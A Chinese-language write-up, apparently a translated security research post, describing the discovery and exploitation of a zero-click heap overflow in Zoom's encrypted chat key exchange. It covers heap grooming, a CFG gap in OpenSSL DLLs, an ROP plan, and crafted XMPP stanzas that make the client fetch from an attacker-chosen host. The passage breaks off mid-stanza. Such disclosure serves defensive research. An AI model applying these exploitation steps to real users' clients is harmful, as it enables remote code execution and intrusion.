close

0x01 Zoom

我在 Zoom 和 Microsoft Teams 之間做出決定。我猜測了哪些類型的漏洞可能會導致這些應用程序中的 RCE:Microsoft Teams 是使用 Electron 開發的,其中包含一些 C++ 原生庫(主要用於平台集成)。Electron 應用程序是使用 HTML+JavaScript 構建的,其中包含 Chromium 運行時。因此,最有可能被利用的途徑是跨站點腳本問題,可能與沙箱逃逸相結合。內存損壞是可能的,但本機庫的數量很少。Zoom 是用 C++ 編寫的,這意味着最有可能的漏洞類別是內存損壞。由於沒有任何更好的數據,我決定使用 Zoom,因為我更喜歡研究內存損壞而不是 XSS。

我沒有太多使用 過Zoom。因此,第一步是徹底分析應用程序,專注於確定可以向其他用戶發送內容的所有方式,因為這是實現遠程攻擊的攻擊向量。大多數用戶主要用到的是視頻聊天功能,也包含一個功能相當齊全的聊天客戶端,可以發送圖片、創建群聊等等。在會議中有音頻和視頻,還有發送文件、共享屏幕等的方式。我也創建了一些高級帳戶,以確保我能看到儘可能多的功能。

0x02 數據包截取

下一步是分析客戶端網絡通信數據包,我需要查看通信內容才能發送自己的惡意流量。Zoom 使用大量 HTTPS 請求(通常使用 JSON 或 protobufs),但聊天連接本身使用 XMPP 連接。會議協議有許多不同的選項,具體取決於網絡允許的內容,主要是基於自定義 UDP 的協議。使用代理、修改的 DNS 記錄、sslsplit 和安裝在 Windows 中的新 CA 證書的組合,我能夠在我的測試環境中分析所有流量,包括 HTTP 和 XMPP。我先從 HTTP 和 XMPP入手,因為會議協議是zoom自定義的二進制協議。

0x03 反編譯

接下來是在反匯編程序中加載相關的二進制文件。因為我想挖掘一個與遠程用戶交互的漏洞,所以首先嘗試將傳入的 XMPP 節(節是你可以發送給另一個用戶的 XMPP 元素)的處理與代碼相匹配。我發現 XMPP XML 數據流最初是由XmppDll.dll發送.。此 DLL 基於 C++ XMPP 庫Gloox,所以對這部分進行逆向非常容易,即使對於 Zoom 添加的自定義擴展也是如此。

https://camaya.net/gloox/

經過一段時間分析發現無法在這裡發現一些品相較好的漏洞,XmppDll.dll僅解析傳入的 XMPP 節並將 XML 數據複製到新的 C++ 對象,在這裡沒有實現真正的業務邏輯,都是傳遞給不同 DLL 中的回調在處理。

在下一個 DLL 中,我遇到了一些障礙。由於對 vtables 和其他 DLL 的大量調用,對其他 DLL 的反匯編幾乎不可能完成。我無法掌握反匯編代碼的主要邏輯,主要原因是大多數 DLL 根本不做日誌記錄。日誌對動態分析很有用,但對於靜態分析它們也非常有用,因為它們通常會顯示函數和變量名稱並提供有關執行了哪些檢查的信息。我發現 Zoom 生成了安裝日誌,但在運行時沒有記錄任何內容。

經過一段時間信息收集後發現,Zoom 有一個SDK,可用於將 Zoom 會議功能集成到其他應用程序中。此 SDK 包含許多與客戶端本身相同的庫,在這種情況下,這些 DLL 文件存在日誌記錄。雖然不完整,缺少一些與 UI 相關的 DLL,但它足以很好地概述核心消息處理的功能。

https://marketplace.zoom.us/docs/sdk/native-sdks/introduction

日誌記錄還顯示了文件名和函數名,如以下反匯編示例所示:

iVar2 = logging::GetMinLogLevel();

if (iVar2 < 2) {

logging::LogMessage::LogMessage

(local_c8,

"c:\\ZoomCode\\client_sdk_2019_kof\\client\\src\\framework\\common\\SaasBeeWebServiceModule\\ZoomNetworkMonitor.cpp"

, 0x39, 1);

uVar3 = log_message(iVar2 + 8, "[NetworkMonitor::~NetworkMonitor()]", " ", uVar1);

log_message(uVar3);

logging::LogMessage::~LogMessage(local_c8);

}

0x04 漏洞挖掘

有了這個SDK,我就可以開始認真地挖掘漏洞了。具體來說,我的目標是挖掘任何類型的內存損壞漏洞。這些漏洞通常發生在數據解析期間,但這種漏洞就不太可能出現在XMPP 連接中。XMPP 使用了一個常見庫,我還需要通過服務器獲取我的有效負載,因此任何無效的 XML 都不會到達另一個客戶端。許多使用字符串的操作都使用 C++std::string對象,這意味着由於長度計算錯誤而導致緩衝區溢出的可能性也不大。

在我開始這項研究大約 2 周后,我注意到關於 base64 解碼的一個有趣的事情發生在幾個地方:

len = Cmm::CStringT< char >::size(param_1);

result = malloc(len < < 2);

len = Cmm::CStringT< char >::size(param_1);

buffer = Cmm::CStringT< char >::c_str(param_1);

status = EVP_DecodeBlock(result, buffer, len);

EVP_DecodeBlock是處理 base64 解碼的 OpenSSL 函數。Base64 是一種將三個字節轉換為四個字符的編碼,因此解碼的結果總是輸入大小的 3/4。但是,分配的緩衝區不是該大小的大小,而是分配一個比輸入緩衝區大四倍的緩衝區(左移兩次乘以 4 )。分配太大的內存利用效果並不好,但它確實表明在將數據移入和移入 OpenSSL 時,可能存在緩衝區大小的錯誤計算。在這裡,std::string對象將需要轉換為 Cchar*指針和單獨的長度變量。所以我決定暫時專注於從 Zoom 自己的代碼調用 OpenSSL 函數。

0x05 漏洞分析

Zoom 的聊天功能支持「高級聊天加密」的設置(僅適用於付費用戶)。這個功能已經存在一段時間了。默認情況下使用版本 2,但如果聯繫人使用版本 1 發送消息,則仍會處理該消息。這就是我所看到的,它涉及到很多 OpenSSL 功能。

版本 1 是這樣工作的:

1、發送方發送使用對稱密鑰加密的消息,密鑰標識符指示使用了哪個消息密鑰。

< message from="ewcjlni_rwcjaygmtpvnew@xmpp.zoom.us/ZoomChat_pc" to="ek3_fdvytqgm0zzlmcndga@xmpp.zoom.us" id="85DC3552-56EE-4307-9F10-483A0CA1C611" type="chat" >

< body >[This is an encrypted message] < /body >

< thread >gloox{BFE86A52-2D91-4DA0-8A78-DC93D3129DA0} < /thread >

< active xmlns="http://jabber.org/protocol/chatstates"/ >

< ze2e >

< tp >

< send >ewcjlni_rwcjaygmtpvnew@xmpp.zoom.us < /send >

< sres >ZoomChat_pc < /sres >

< scid >{01F97500-AC12-4F49-B3E3-628C25DC364E} < /scid >

< ssid >ewcjlni_rwcjaygmtpvnew@xmpp.zoom.us < /ssid >

< cvid >zc_{10EE3E4A-47AF-45BD-BF67-436793905266} < /cvid >

< /tp >

< action type="SendMessage" >

< msg >

< message >/fWuV6UYSwamNEc40VKAnA== < /message >

< iv >sriMTH04EXSPnphTKWuLuQ== < /iv >

< /msg >

< xkey >

< owner >{01F97500-AC12-4F49-B3E3-628C25DC364E} < /owner >

< /xkey >

< /action >

< app v="0"/ >

< /ze2e >

< zmtask feature="35" >

< nos >You have received an encrypted message. < /nos >

< /zmtask >

< zmext expire_t="1680466611000" t="1617394611169" >

< from n="John Doe" e="sewev60024@fironia.com" res="ZoomChat_pc"/ >

< to/ >

< visible >true < /visible >

< /zmext >

< /message >

2、接收者檢查他們是否擁有帶有該密鑰標識符的對稱密鑰。如果沒有,收件人的客戶端會自動向RequestKey其他用戶發送消息,其中包括收件人的 X509 證書以加密消息密鑰 ()。RequestKey< pub_cert >

< message xmlns="jabber:client" to="ewcjlni_rwcjaygmtpvnew@xmpp.zoom.us" id="{684EF27D-65D3-4387-9473-E87279CCA8B1}" type="chat" from="ek3_fdvytqgm0zzlmcndga@xmpp.zoom.us/ZoomChat_pc" >

< thread >gloox{25F7E533-7434-49E3-B3AC-2F702579C347}< /thread >

< active xmlns="http://jabber.org/protocol/chatstates"/ >

< zmext >

< msg_type >207< /msg_type >

< from n="Jane Doe" res="ZoomChat_pc"/ >

< to/ >

< visible >false< /visible >

< /zmext >

< ze2e >

< tp >

< send >ek3_fdvytqgm0zzlmcndga@xmpp.zoom.us< /send >

< sres >ZoomChat_pc< /sres >

< scid >tJKVTqrloavxzawxMZ9Kk0Dak3LaDPKKNb+vcAqMztQ=< /scid >

< recv >ewcjlni_rwcjaygmtpvnew@xmpp.zoom.us< /recv >

< ssid >ek3_fdvytqgm0zzlmcndga@xmpp.zoom.us< /ssid >

< cvid >zc_{10EE3E4A-47AF-45BD-BF67-436793905266}< /cvid >

< /tp >

< action type="RequestKey" >

< xkey >

< pub_cert >MIICcjCCAVqgAwIBAgIBCjANBgkqhkiG9w0BAQsFADA3MSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxEjAQBgNVBAMMCSouem9vbS51czAeFw0yMTA0MDIxMjAzNDVaFw0yMjA0MDIxMjMzNDVaMEoxLDAqBgNVBAMMI2VrM19mZHZ5dHFnbTB6emxtY25kZ2FAeG1wcC56b29tLnVzMQ0wCwYDVQQKEwRaT09NMQswCQYDVQQGEwJVUzCBmzAQBgcqhkjOPQIBBgUrgQQAIwOBhgAEAa5LZ0vdjfjTDbPnuK2Pj1WKRaBee0QoAUQ281Z+uG4Ui58+QBSfWVVWCrG/8R4KTPvhS7/utzNIe+5R8oE69EPFAFNBMe/nCugYfi/EzEtwzor/x1R6sE10rIBGwFwKNSnzxtwDbiFmjpWFFV7TAdT/wr/f1E1ZkVR4ooitgVwGfREVMA0GCSqGSIb3DQEBCwUAA4IBAQAbtx2A+A956elf/eGtF53iQv2PT9I/4SNMIcX5Oe/sJrH1czcTfpMIACpfbc9Iu6n/WNCJK/tmvOmdnFDk2ekDt9jeVmDhwJj2pG+cOdY/0A+5s2E5sFTlBjDmrTB85U4xw8ahiH9FQTvj0J4FJCAPsqn0v6D87auA8K6w13BisZfDH2pQfuviJSfJUOnIPAY5+/uulaUlee2HQ1CZAhFzbBjF9R2LY7oVmfLgn/qbxJ6eFAauhkjn1PMlXEuVHAap1YRD8Y/xZRkyDFGoc9qZQEVj6HygMRklY9xUnaYWgrb9ZlCUaRefLVT3/6J21g6G6eDRtWvE1nMfmyOvTtjC< /pub_cert >

< owner >{01F97500-AC12-4F49-B3E3-628C25DC364E}< /owner >

< /xkey >

< /action >

< v2data action="None"/ >

< app v="0"/ >

< /ze2e >

< zmtask feature="50"/ >

< /message >

3、發件人RequestKey用一條ResponseKey消息響應該消息。這包含發件人的 X509 證書,這是一個 XML 元素,其中包含使用發件人的私鑰和收件人的公鑰加密的消息密鑰,以及其中的簽名。

< message from="ewcjlni_rwcjaygmtpvnew@xmpp.zoom.us/ZoomChat_pc" to="ek3_fdvytqgm0zzlmcndga@xmpp.zoom.us" id="4D6D109E-2AF2-4444-A6FD-55E26F6AB3F0" type="chat" >

< thread >gloox{24A77779-3F77-414B-8BC7-E162C1F3BDDF}< /thread >

< active xmlns="http://jabber.org/protocol/chatstates"/ >

< ze2e >

< tp >

< send >ewcjlni_rwcjaygmtpvnew@xmpp.zoom.us< /send >

< sres >ZoomChat_pc< /sres >

< scid >{01F97500-AC12-4F49-B3E3-628C25DC364E}< /scid >

< recv >ek3_fdvytqgm0zzlmcndga@xmpp.zoom.us< /recv >

< rres >ZoomChat_pc< /rres >

< rcid >tJKVTqrloavxzawxMZ9Kk0Dak3LaDPKKNb+vcAqMztQ=< /rcid >

< ssid >ewcjlni_rwcjaygmtpvnew@xmpp.zoom.us< /ssid >

< cvid >zc_{10EE3E4A-47AF-45BD-BF67-436793905266}< /cvid >

< /tp >

< action type="ResponseKey" >

< xkey create_time="1617394606" >

< pub_cert >MIICcjCCAVqgAwIBAgIBCjANBgkqhkiG9w0BAQsFADA3MSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxEjAQBgNVBAMMCSouem9vbS51czAeFw0yMTAyMTgxOTIzMjJaFw0yMjAyMTgxOTUzMjJaMEoxLDAqBgNVBAMMI2V3Y2psbmlfcndjamF5Z210cHZuZXdAeG1wcC56b29tLnVzMQ0wCwYDVQQKEwRaT09NMQswCQYDVQQGEwJVUzCBmzAQBgcqhkjOPQIBBgUrgQQAIwOBhgAEAPyPYr49WDKcwh2dc1V1GMv5whVyLaC0G/CzsvJXtSoSRouPaRBloBBlay2JpbYiZIrEBek3ONSzRd2Co1WouqXpASo2ADI/+qz3OJiOy/e4ccNzGtCDZTJHWuNVCjlV3abKX8smSDZyXc6eGP72p/xE96h80TLWpqoZHl1Ov+JiSVN/MA0GCSqGSIb3DQEBCwUAA4IBAQCUu+e8Bp9Qg/L2Kd/+AzYkmWeLw60QNVOw27rBLytiH6Ff/OmhZwwLoUbj0j3JATk/FiBpqyN6rMzL/TllWf+6oWT0ZqgdtDkYvjHWI6snTDdN60qHl77dle0Ah+VYS3VehqtqnEhy3oLiP3pGgFUcxloM85BhNGd0YMJkro+mkjvrmRGDu0cAovKrSXtqdXoQdZN1JdvSXfS2Otw/C2x+5oRB5/03aDS8Dw+A5zhCdFZlH4WKzmuWorHoHVMS1AVtfZoF0zHfxp8jpt5igdw/rFZzDxtPnivBqTKgCMSaWE5HJn9JhupHisoJUipGD8mvkxsWqYUUEI2GDauGw893< /pub_cert >

< encoded >...< /encoded >

< signature >MIGHAkIBaq/VH7MvCMnMcY+Eh6W4CN7NozmcXrRSkJJymvec+E5yWqF340QDNY1AjYJ3oc34ljLoxy7JeVjop2s9k1ZPR7cCQWnXQAViihYJyboXmPYTi0jRmmpBn61OkzD6PlAqAq1fyc8e6+e1bPsu9lwF4GkgI40NrPG/kbUx4RbiTp+Ckyo0< /signature >

< owner >{01F97500-AC12-4F49-B3E3-628C25DC364E}< /owner >

< /xkey >

< /action >

< app v="0"/ >

< /ze2e >

< zmtask feature="50"/ >

< zmext t="1617394613961" >

< from n="John Doe" e="sewev60024@fironia.com" res="ZoomChat_pc"/ >

< to/ >

< visible >false< /visible >

< /zmext >

< /message >

密鑰加密方式有兩種選擇,具體取決於收件人證書使用的密鑰類型。如果使用 RSA 密鑰,則發送方使用接收方的公鑰加密消息密鑰,並使用他們自己的私有 RSA 密鑰對其進行簽名。

但是,默認情況下不使用 RSA,而是使用曲線 P-521 使用橢圓曲線密鑰。不存在使用橢圓曲線密鑰的加密算法。因此,不是直接加密,而是使用橢圓曲線 Diffie-Helman 使用兩個用戶的密鑰來獲取共享密鑰。共享的秘密被拆分為一個密鑰和 IV,以使用 AES 加密消息密鑰數據。這是使用橢圓曲線密碼術時加密數據的常用方法。

在處理ResponseKey消息時,std::string為解密結果分配了一個固定大小的 1024 字節。使用 RSA 解密時,正確驗證了解密結果是否適合該緩衝區。然而,當使用 AES 解密時,該檢查丟失了。這意味着通過發送具有超過 1024 字節ResponseKey的 AES 加密

以下代碼段顯示了發生溢出的函數。這是 SDK 版本,因此可以使用日誌記錄。這裡,param_1[0]是輸入緩衝區,param_1[1]是輸入緩衝區的長度,param_1[2]是輸出緩衝區和param_1[3]輸出緩衝區長度。這是一個很大的內存片段,但這個函數的重要部分param_1[3]是只寫入結果長度,而不是先讀取它。緩衝區的實際分配發生在前幾步的函數中。

< message from="ewcjlni_rwcjaygmtpvnew@xmpp.zoom.us/ZoomChat_pc" to="ek3_fdvytqgm0zzlmcndga@xmpp.zoom.us" id="4D6D109E-2AF2-4444-A6FD-55E26F6AB3F0" type="chat" >

< thread >gloox{24A77779-3F77-414B-8BC7-E162C1F3BDDF}< /thread >

< active xmlns="http://jabber.org/protocol/chatstates"/ >

< ze2e >

< tp >

< send >ewcjlni_rwcjaygmtpvnew@xmpp.zoom.us< /send >

< sres >ZoomChat_pc< /sres >

< scid >{01F97500-AC12-4F49-B3E3-628C25DC364E}< /scid >

< recv >ek3_fdvytqgm0zzlmcndga@xmpp.zoom.us< /recv >

< rres >ZoomChat_pc< /rres >

< rcid >tJKVTqrloavxzawxMZ9Kk0Dak3LaDPKKNb+vcAqMztQ=< /rcid >

< ssid >ewcjlni_rwcjaygmtpvnew@xmpp.zoom.us< /ssid >

< cvid >zc_{10EE3E4A-47AF-45BD-BF67-436793905266}< /cvid >

< /tp >

< action type="ResponseKey" >

< xkey create_time="1617394606" >

< pub_cert >MIICcjCCAVqgAwIBAgIBCjANBgkqhkiG9w0BAQsFADA3MSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxEjAQBgNVBAMMCSouem9vbS51czAeFw0yMTAyMTgxOTIzMjJaFw0yMjAyMTgxOTUzMjJaMEoxLDAqBgNVBAMMI2V3Y2psbmlfcndjamF5Z210cHZuZXdAeG1wcC56b29tLnVzMQ0wCwYDVQQKEwRaT09NMQswCQYDVQQGEwJVUzCBmzAQBgcqhkjOPQIBBgUrgQQAIwOBhgAEAPyPYr49WDKcwh2dc1V1GMv5whVyLaC0G/CzsvJXtSoSRouPaRBloBBlay2JpbYiZIrEBek3ONSzRd2Co1WouqXpASo2ADI/+qz3OJiOy/e4ccNzGtCDZTJHWuNVCjlV3abKX8smSDZyXc6eGP72p/xE96h80TLWpqoZHl1Ov+JiSVN/MA0GCSqGSIb3DQEBCwUAA4IBAQCUu+e8Bp9Qg/L2Kd/+AzYkmWeLw60QNVOw27rBLytiH6Ff/OmhZwwLoUbj0j3JATk/FiBpqyN6rMzL/TllWf+6oWT0ZqgdtDkYvjHWI6snTDdN60qHl77dle0Ah+VYS3VehqtqnEhy3oLiP3pGgFUcxloM85BhNGd0YMJkro+mkjvrmRGDu0cAovKrSXtqdXoQdZN1JdvSXfS2Otw/C2x+5oRB5/03aDS8Dw+A5zhCdFZlH4WKzmuWorHoHVMS1AVtfZoF0zHfxp8jpt5igdw/rFZzDxtPnivBqTKgCMSaWE5HJn9JhupHisoJUipGD8mvkxsWqYUUEI2GDauGw893< /pub_cert >

< encoded >...< /encoded >

< signature >MIGHAkIBaq/VH7MvCMnMcY+Eh6W4CN7NozmcXrRSkJJymvec+E5yWqF340QDNY1AjYJ3oc34ljLoxy7JeVjop2s9k1ZPR7cCQWnXQAViihYJyboXmPYTi0jRmmpBn61OkzD6PlAqAq1fyc8e6+e1bPsu9lwF4GkgI40NrPG/kbUx4RbiTp+Ckyo0< /signature >

< owner >{01F97500-AC12-4F49-B3E3-628C25DC364E}< /owner >

< /xkey >

< /action >

< app v="0"/ >

< /ze2e >

< zmtask feature="50"/ >

< zmext t="1617394613961" >

< from n="John Doe" e="sewev60024@fironia.com" res="ZoomChat_pc"/ >

< to/ >

< visible >false< /visible >

< /zmext >

< /message >

附註:我們不知道解密後元素通常包含的格式,但根據我們對協議的理解,我們假設它包含一個密鑰。針對新客戶端啟動舊版本的協議很容易。但是,要啟動合法客戶端,需要舊版本的客戶端,該版本似乎出現故障(無法再登錄)。< encoded >

我進行了大約 2 周的研究,我發現了一個緩衝區溢出漏洞,可以在沒有用戶交互的情況下通過向以前接受外部聯繫請求或當前處於同一個多用戶聊天中的用戶發送一些聊天消息來遠程觸發。

0x06 利用步驟

要圍繞它構建漏洞利用,先分析一下此緩衝區溢出漏洞的一些情況:

利用方便的點:大小沒有直接限制。

利用方便的點:內容是解密緩衝區的結果,所以這可以是任意二進制數據,不限於可打印或非零字符。

利用方便的點:會在沒有用戶交互的情況下自動觸發(只要攻擊者和受害者是聯繫人)。

不利於利用的點:大小必須是 AES 塊大小的倍數,16 字節。最後可以有填充,但即使存在填充,它仍然會在刪除填充之前覆蓋數據到一個完整的塊。

不利於利用的點:堆分配的大小是固定的:1040 字節。

不利於利用的點:緩衝區被分配,然後在處理用於溢出的相同數據包時,不能先放置緩衝區分配其他內容然後溢出。

我還沒有關於如何利用它的完整方案,但我預計很可能需要覆蓋對象中的函數指針或 vtable。已經知道程序使用了 OpenSSL,它在結構中廣泛使用函數指針。甚至可以在稍後的ResponseKey消息處理過程中創建一些。我對此進行了分析,但由於使用了堆分配器,很快就證明這是不可能的。

0x07 Windows 堆分配器

為了實現漏洞利用,需要完全了解 Windows 中的堆分配器如何進行分配。Windows 10 有兩個不同的堆分配器:NT heap 和 Segment Heap。Segment Heap是 Windows 10 中的新增功能,僅用於不包括 Zoom 的特定應用程序,因此Zoom使用的是 NT heap。NT heap有兩個不同的分配器(用於小於 16 kB 的分配):前端分配器(Low-Fragment Heap、LFH)和後端分配器。

在詳細介紹這兩個分配器的工作原理之前,我將介紹一些定義:

Block:分配器可以返回的內存區域。

Bucket:LFH 處理的一組塊。

Page:操作系統分配給進程的內存區域。

默認情況下,後端分配器處理所有分配。將後端分配器想象成一個所有空閒塊的排序列表(freelist)。每當接收到特定大小的分配請求時,就會遍歷該列表,直到找到至少具有請求大小的塊。該塊從列表中刪除並返回。如果塊大於請求的大小,則將其拆分並將剩餘部分再次插入列表中。如果不存在合適的塊,則通過從操作系統請求新頁面,將其作為新塊插入到列表中的適當位置來擴展堆。當分配被釋放時,分配器首先檢查它前後的塊是否也是空閒的。如果其中之一或兩者都是空閒的,則將它們合併在一起。該塊將在與其大小匹配的位置再次插入到列表中。

下面的視頻展示了分配器如何搜索特定大小的塊(橙色),返回它並將剩餘的塊放回列表中(綠色)。

https://sector7.computest.nl/post/2021-08-zoom/Animatie_Freelist_status.webm

後端分配器是完全確定的:如果你知道某個時間空閒列表的狀態以及隨後的分配和釋放的順序,那麼就可以確定列表的新狀態。還有一些其他有用的屬性,例如特定大小的分配是後進先出:如果你分配一個塊,釋放它並立即分配相同的大小,那麼你將始終收到相同的地址。

前端分配器(LFH)用於分配經常用於減少碎片量的大小。如果超過 17 個特定大小範圍的塊被分配並仍在使用,那麼 LFH 將從那時起開始處理該特定大小。LFH 分配被分組到Bucket中,每個Bucket處理一系列分配大小。當收到特定大小的請求時,LFH 會檢查最近用於該大小分配的存儲Bucket。如果沒有空間,它會檢查該尺寸範圍內是否還有其他可用空間的Bucket。如果沒有,則創建一個新存儲Bucket。

無論是使用 LFH 還是後端分配器,每個堆分配(小於 16 kB)都有一個 8 字節的header。前四個字節被編碼,接下來的四個字節不會編碼。編碼使用帶有隨機密鑰的 XOR,用於防止緩衝區溢出破壞堆數據。

為了利用堆溢出漏洞,需要考慮很多事情。後端分配器可以創建任意大小的相鄰分配塊。在 LFH 上,只有相同範圍內的對象才會合併到一個Bucket中,因此要覆蓋來自不同範圍的塊,你必須確保兩個Bucket相鄰放置。此外,使用Bucket中的哪個空閒槽是隨機的。

由於這些原因,我最初專注於利用後端分配器。但很快意識到不能使用之前找到的任何 OpenSSL 對象:當我啟動 Zoom 時,所有700 字節都已經由 LFH 處理。不可能將特定大小從 LFH 切換回後端分配器。因此,我最初確定的 OpenSSL 對象在我的溢出塊之後將無法分配,因為它們都小於 700 字節,因此會被放置在 LFH 存儲Bucket中。

這意味着我必須搜索更大尺寸的對象,在這些對象中我可能能夠覆蓋函數指針或 vtable。我發現其他 DLL 中的一個zWebService.dll包含 libcurl 的副本,它為我提供了一些額外的源代碼以供分析。分析源代碼比從反編譯器獲取有關 C++ 對象布局的信息要高效得多。這確實給了我一些有趣的溢出對象,這些對象不會自動出現在 LFH 上。

0x08 堆布局

為了放置分配對象,需要進行堆整理:

1.分配一個 1040 字節的臨時對象。

2.在它之後分配要覆蓋的對象。

3.釋放 1040 字節的對象。

4.溢出後覆蓋1040 字節對象相同的地址。

為了做到這一點,必須能夠分配 1040 個字節在精確的時間釋放這些字節。但更重要的是還需要填充空閒列表中的許多內存區域,以便這兩個對象能夠相鄰。如果想分配直接相鄰的對象,那麼在第一步中需要有一個大小為 1040 + x的空閒塊,其中x是另一個對象的大小。但這意味着在 1040 和 1040 + x之間不能有任何其他大小分配,否則將使用該塊。這意味着有一個相當大的大小範圍,不能有任何可用的空閒塊。

如果發送帶有其他用戶還沒有的密鑰標識符的加密消息,那麼它將請求該密鑰。這個密鑰標識符std::string保留在內存中,可能是因為它正在等待響應。它可以是任意大的尺寸,所以我有辦法進行分配。還可以在 Zoom 中撤銷聊天消息,這也將釋放待處理的密鑰請求。這為我提供了分配和釋放特定大小塊的原語:它總是會分配該字符串的 2 個拷貝,並且為了處理新傳入的消息,它會產生很多臨時副本。

我花了很多時間通過發送消息和監控空閒列表的狀態來進行分配。為此,編寫了一些Frida腳本來跟蹤堆塊分配、打印空閒列表和檢查 LFH 狀態。可以用 WinDBG 完成,但利用開發非常慢。可以使用一個技巧:如果特定的分配會阻礙堆整理,那麼可以觸發該大小的 LFH,通過讓客戶端執行至少 17 次分配來確保它不再影響空閒列表大小。

0x09 LFH

我研究了如果強制分配溢出到低碎片堆( LFH )的情況下執行漏洞利用,使用相同的方法首先強制分配堆塊到 LFH。這意味着必須更徹底地搜索合適大小的對象。1040 字節的分配被放置在一個Bucket中,所有 LFH 分配都是 1025 字節到 1088 字節。

在進一步研究之前,先看看必須繞過哪些防禦措施:

ASLR(地址空間布局隨機化)。DLL 的加載位置是隨機的,堆和堆棧的位置也是隨機的。但是,由於 Zoom 是 32 位應用程序,因此 DLL 和堆的地址範圍並不大。

DEP(數據執行保護)。不存在可寫和可執行的內存頁。

CFG(控制流保護)。這是一種相對較新的技術,用於檢查函數指針和其他動態地址是否指向函數的有效起始位置。

Zoom 的ASLR 和 DEP 保護很完善,但使用 CFG 有一個缺陷:由於OpenSSL 不兼容,這兩個 OpenSSL DLL 沒有啟用 CFG 。

CFG 的工作方式是在所有動態函數調用之前插入一個guard_check_icall ( )檢查,它會在有效函數起始地址列表中查找即將被調用的地址。如果有效,則允許調用。如果無效,則引發異常。

不為 dll 啟用 CFG 有兩個利用思路:

此庫的任何動態函數調用都不會檢查地址是否為函數起始位置。換句話說,guard_check_icall沒有被插入。

這些DLL中的任何動態函數調用總是被允許的。這些 dll 不存在有效的起始位置列表,這意味着它允許該 dll 範圍內的所有地址。

基於此,我制定了以下方案:

1、從兩個 OpenSSL DLL 之一泄漏地址以繞過 ASLR。

2、溢出 vtable 或函數指針以指向我找到的 DLL 中的地址。

3、使用 ROP 鏈來獲得任意代碼執行。

為了在 LFH 上執行緩衝區溢出利用代碼,我需要一種處理隨機化的方法。雖然並不完美,但我避免大量崩潰的一種方法是在堆塊範圍內創建大量新分配,然後釋放除最後一個之外的所有分配。LFH 從當前Bucket中返回一個隨機的空閒槽。如果當前Bucket已滿,則查看是否還有其他大小範圍相同的尚未滿的Bucket。如果沒有,則擴展堆並創建新存儲Bucket。

通過分配許多新塊,我保證這個大小範圍內的所有Bucket都已滿,我得到了一個新的Bucket。釋放一些這樣的分配,但保留最後一個塊意味着我在這個Bucket中有很多空間。只要我分配的塊不超過適合的塊,範圍內的所有分配都將來自這裡。這對於減少覆蓋落在相同大小範圍內的其他對象的機會非常有幫助。

以下視頻以橙色顯示了我不想覆蓋的危險對象,以綠色顯示了我創建的安全對象:

https://sector7.computest.nl/post/2021-08-zoom/Animatie_lfh.001.webm

只要Bucket 3 沒有完全填滿,目標大小範圍的所有分配都會發生在該Bucket中,從而避免覆蓋橙色對象。只要沒有創建新的橙色對象,我們就可以一次又一次地嘗試。隨機化可以幫助我們確保最終獲得想要的對象布局。

0x10 信息泄露

將緩衝區溢出轉變為信息泄漏是一個相當大的挑戰,因為在很大程度上取決於應用程序中可用的函數。常見的方法是分配具有固定長度字段的內容,溢出長度字段,然後讀取該字段。我在 Zoom 中沒有找到任何可用的函數來發送具有長度字段的 1025-1088 分配的內容以及再次請求它的方法。它可能確實存在,但分析 C++ 對象的對象布局是一個緩慢的過程。

我仔細查看了代碼部分,我找到了一種方法,儘管它很棘手。

當 libcurl 用於請求 URL 時,它將解析和編碼 URL,並將相關字段複製到內部結構中。URL 的路徑和查詢組件存儲在不同的堆分配塊中,並帶有零終止符。任何需要的 URL 編碼都有,所以當請求被發送時,整個字符串被複製到套接字,直到它到達第一個空字節。

我找到了一種向我控制的服務器發起 HTTPS 請求的方法。該方法是通過發送 Zoom 通常會使用的兩個節的奇怪組合,一個用於發送添加用戶的邀請,另一個通知用戶新的用戶已添加到他們的帳戶中。然後將來自該節的字符串附加到域中並下載圖像。但是,前置域的字符串不以 a /結尾,因此可以將其擴展為以不同的域結尾。

請求將另一個用戶添加到你的聯繫人列表的節:

< presence xmlns="jabber:client" type="subscribe" email="[email of other user]" from="ewcjlni_rwcjaygmtpvnew@xmpp.zoom.us/ZoomChat_pc" >

< status >{"e":"sewev60024@fironia.com","screenname":"John Doe","t":1617178959313}< /status >

< /presence >

通知用戶新機器人(在本例中為 SurveyMonkey)已添加到他們的帳戶的節:

< presence from="ek3_fdvytqgm0zzlmcndga@xmpp.zoom.us/ZoomChat_pc" to="ek3_fdvytqgm0zzlmcndga@xmpp.zoom.us/ZoomChat_pc" type="probe" >

< zoom xmlns="zm:x:group" group="Apps##61##addon.SX4KFcQMRN2XGQ193ucHPw" action="add_member" option="0" diff="0:1" >

< members >

< member fname="SurveyMonkey" lname="" jid="robot_v1djhtaz32sgaja0byn84avg@xmpp.zoom.us" type="1" cmd="/sm" pic_url="https://marketplacecontent.zoom.us//CSKvJMq_RlSOESfMvUk- dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF-vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png" pic_relative_url="//CSKvJMq_RlSOESfMvUk-dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF- vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png" introduction="Manage SurveyMonkey surveys from your Zoom chat channel." signature="" extension="eyJub3RTaG93IjowLCJjbWRNb2RpZnlUaW1lIjoxNTc4NTg4NjA4NDE5fQ=="/ >

< /members >

< /zoom >

< /presence >

雖然客戶端只期望來自服務器的此節,但可以從不同的用戶帳戶發送它。如果發件人尚未出現在用戶的聯繫人列表中,則會對其進行處理。因此,將這兩件事結合起來,我最終得到了以下結果:

< presence from="ek3_fdvytqgm0zzlmcndga@xmpp.zoom.us/ZoomChat_pc" to="ek3_fdvytqgm0zzlmcndga@xmpp.zoom.us/ZoomChat_pc" type="probe" >

< zoom xmlns="zm:x:group" group="Apps##61##addon.SX4KFcQMRN2XGQ193ucHPw" action="add_member" option="0" diff="0:1" >

< members >

